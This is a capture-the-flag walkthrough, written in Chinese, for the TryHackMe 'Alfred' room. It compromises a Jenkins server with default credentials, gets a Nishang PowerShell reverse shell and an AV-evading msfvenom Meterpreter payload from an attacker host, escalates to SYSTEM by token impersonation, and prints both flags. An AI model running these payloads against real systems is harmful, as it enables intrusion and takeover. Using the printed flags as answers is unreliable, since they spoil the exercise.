【THM】Alfred-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/alfred
通过学习相关知识点:利用Jenkins的错误配置来获取目标的初始shell,然后再利用Windows身份验证令牌(tokens)执行权限提升。
获取初始访问权限
在本文中,我们首先将学习如何利用一个广泛使用的自动化服务器上的常见错误配置(Jenkins自动化服务器 - 此工具可用于创建持续集成/持续开发管道,以允许开发人员在更改代码后 自动部署代码),然后,我们再继续使用一种有趣的提权方法来获得完整的目标系统访问权限。
由于目标是一个 Windows 应用程序,我们可以使用 Nishang 工具获得初始访问权限(在攻击机上安装:sudo apt install nishang),Nishang 存储库包含了一些有用的渗透脚本,可用于建立初始访问、枚举目标信息和权限升级等,在本文实验案例中,我们将使用Nishang存储库中的反向 shell 脚本 以获取对目标机的初始访问权限。
注意:目标机器不响应 ping (ICMP)命令,在启动目标机时可能需要先等待几分钟。
答题
使用nmap对目标进行端口扫描操作(在·攻击机上切换到root权限或者对以下命令使用sudo):
nmap -sC -sV -Pn 10.10.55.117
目标开放端口:80、3389、8080
访问目标的8080端口,发现Jenkins登陆页面,尝试弱口令admin/admin 登录成功(也可以使用Hydra进行爆破):
弱口令:admin/admin
目标机上的Jenkins服务器存在一些配置的错误,让我们可以直接在后台执行代码:
- 进入Manage Jenkins(管理 Jenkins)—Script Console(脚本控制台)页面。
- 在脚本控制台页面输入:
println "whoami".execute().text
。
修改以下payload备用(先修改后面再使用),该payload将在目标机上被执行,它能够将(来自于攻击机的)反向shell脚本下载到目标机上并完成脚本执行操作:
powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.15.168:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.15.168 -Port 1234
#修改其中的IP(本地攻击机的tun0地址)和端口号为自己的攻击机。
#最后指定的端口号为攻击机上所设置的Netcat监听器对应端口号。
注意:先在攻击机上使用命令创建一个简易的Python HTTP服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载,然后在Jenkins后台中找到一个功能点 以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本,找到命令执行页面的具体步骤如下——先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。
在攻击机上安装nishang :sudo apt install nishang
。进入nishang/Shells目录(/usr/share/nishang/Shells),在此目录下使用python创建一个HTTP服务器以便进行 反向shell脚本文件传输。
sudo apt install nishang
cd /usr/share/nishang/Shells
python3 -m http.server 8000
同时在攻击机上打开另一终端设置Netcat监听器以便接收反向shell。
nc -nlvp 1234
最后在Jenkins后台窗口粘贴我们前面修改好的payload,点击Apply应用项目并自动保存,再返回Build页面点击Build now运行项目(这样就能成功执行payload)。
回到攻击机上设置Netcat的终端界面,发现已经成功建立一个可操作目标机的反向shell,使用该反向shell界面进入目标机的目录(C:\Users\bruce\Desktop),获取user flag。
79007a09481963edf2e1321abd9ae2a0
使用MSF切换shell
为了使权限提升变得更容易,让我们使用以下过程切换普通的反向shell到 Meterpreter shell。
第一步使用 msfvenom 创建一个能够生成Windows Meterpreter 反向shell的exe文件:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe //修改端口、IP和shell文件名称
以上有效载荷将生成一个经过编码处理的 x86-64 反向 tcp meterpreter shell文件,使用编码处理在一定程度上可以确保所生成的shell文件能够被正确传输,并且还可以逃避一些反病毒软件。
第二步,把生成的exe文件转移到nishang/Shells目录下,在nishang/Shells目录下创建http服务(python3 -m http.server 8000
),继续修改以下命令:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"
#修改IP和端口
进入之前获取的普通反向shell界面,运行以上命令:以上命令会下载攻击机中的指定exe文件到目标机上(也可以使用与上个任务相同的方式来下载exe文件至目标机)
第三步,在攻击机上另外启动一个终端 用于设置MSF监听器,命令如下:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
msfconsole //进入MSF
use exploit/multi/handler //进入监听模块
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST ip //攻击机IP 将其更改为 tun0 或 tryhackme 提供的 IP 地址
set LPORT port //前面用于生成exe文件的命令中的监听端口
run //执行命令
再次进入 之前获取的普通反向shell界面,输入命令Start-Process "shell-name.exe"
在目标机上执行exe文件,此时,在设置了MSF监听器的终端界面可以看到已经获得一个Meterpreter shell。
答题
在攻击机上使用 msfvenom,创建一个能够生成Windows Meterpreter 反向shell的exe文件:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.11.15.168 LPORT=4444 -f exe -o shell.exe
exe最终大小:73802 bytes
把生成的exe文件转移到nishang/Shells目录下,并在此目录下创建http服务(python3 -m http.server 8000
),然后在之前建立的普通反向shell界面输入以下命令:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.15.168:8000/shell.exe','shell.exe')"
在攻击机上启动一个终端 用于设置MSF监听器,命令如下:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.11.15.168
set LPORT 4444
run
再次进入 之前获取的普通反向shell界面,输入命令以在目标机上执行exe文件,在设置了MSF监听器的终端界面可以看到已经获得一个Meterpreter shell。
Start-Process "shell.exe"
权限提升
现在我们有了初始访问权限,我们就可以尝试使用令牌模拟来获得system访问权限(system权限是Windows系统中的最高级别权限)。Windows 可以使用令牌来确保某个账户具有执行特定操作的正确权限,当用户成功登录或通过身份验证机制时,账户令牌(tokens )就会被分配给账户,这通常由 LSASS.exe 完成(你可以将其视为一个身份验证进程)。
此访问令牌包括以下信息:
- user SIDs(security identifier)
- group SIDs
- privileges
除其他事项外,更详细的信息请参考:https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens
有两种类型的访问令牌:
- 主访问令牌(primary access tokens):此类令牌是指与登录时所生成的用户账户相关联的令牌。
- 模拟令牌(impersonation tokens):此类令牌能够允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问相关的资源。
对于模拟令牌,有不同的级别:
- SecurityAnonymous:当前 用户/客户端 不能模拟另一个 用户/客户端。
- SecurityIdentification:当前 用户/客户端 可以获得客户端的身份和权限,但不能模拟客户端。
- SecurityImpersonation:当前 用户/客户端 可以在本地系统上模拟客户端的安全上下文。
- SecurityDelegation:当前 用户/客户端 可以在远程系统上模拟客户端的安全上下文。
tips:这里的安全上下文是指一个包含用户相关安全信息的数据结构。
账户所具有的权限(在账户创建时授予账户的权限或者从group处继承的权限)能够允许对应用户执行一些特定操作,以下是最常被滥用的特权:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
更多关于令牌特权滥用的信息请参考:https://www.exploit-db.com/papers/42556
答题
首先,使用Meterpreter shell进入普通shell界面,输入相关命令以查看我们当前在目标机上的全部权限。
shell
whoami /priv
可以看到目标机启用了两个关键权限(SeDebugPrivilege、SeImpersonatePrivilege),这两个权限能够让我们使用MSF中的模块来进行令牌模拟操作,我们退出之前的普通shell界面(exit
即可),在Meterpreter shell界面加载MSF中的incognito模块(使用命令load incognito
),如果相关命令不起作用,可以尝试更新MSF或者先使用use incognito
命令。(incognito英译:隐身)
模块加载完成之后 输入list_tokens -g
命令检查哪些令牌可用,我们发现BUILTIN\Administrators
令牌可用,所以我们可以模拟管理员令牌,模拟完成后,再运行getuid
命令,可以看到此时我们的uid已经变更为SYSTEM的uid,说明模拟令牌成功。
load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"
getuid
当前的uid:NT AUTHORITY\SYSTEM
即使我们现在拥有更高特权的令牌(token ),我们实际上也可能没有对应的特权用户的权限(由于 Windows 处理权限的方式 - Windows会使用主令牌而不是模拟令牌来确定某个进程的权限分配情况);所以我们还需要迁移到具有正确权限的进程,我们可以选择迁移到最安全的services.exe进程,首先使用ps命令查看所有进程,找到services.exe进程的PID,然后使用migrate PID-OF-PROCESS
迁移到目标进程,具体命令如下:
getpid #查看当前进程pid
ps #查看所有的进程
migrate 668 #迁移到services.exe进程 需指定目标进程的PID号
进入目标机的目录,输入命令search -f root.txt
获取最终flag即可(flag路径为:C:\Windows\System32\config\root.txt)。
dff0f748678f280250f25a45b8046b4a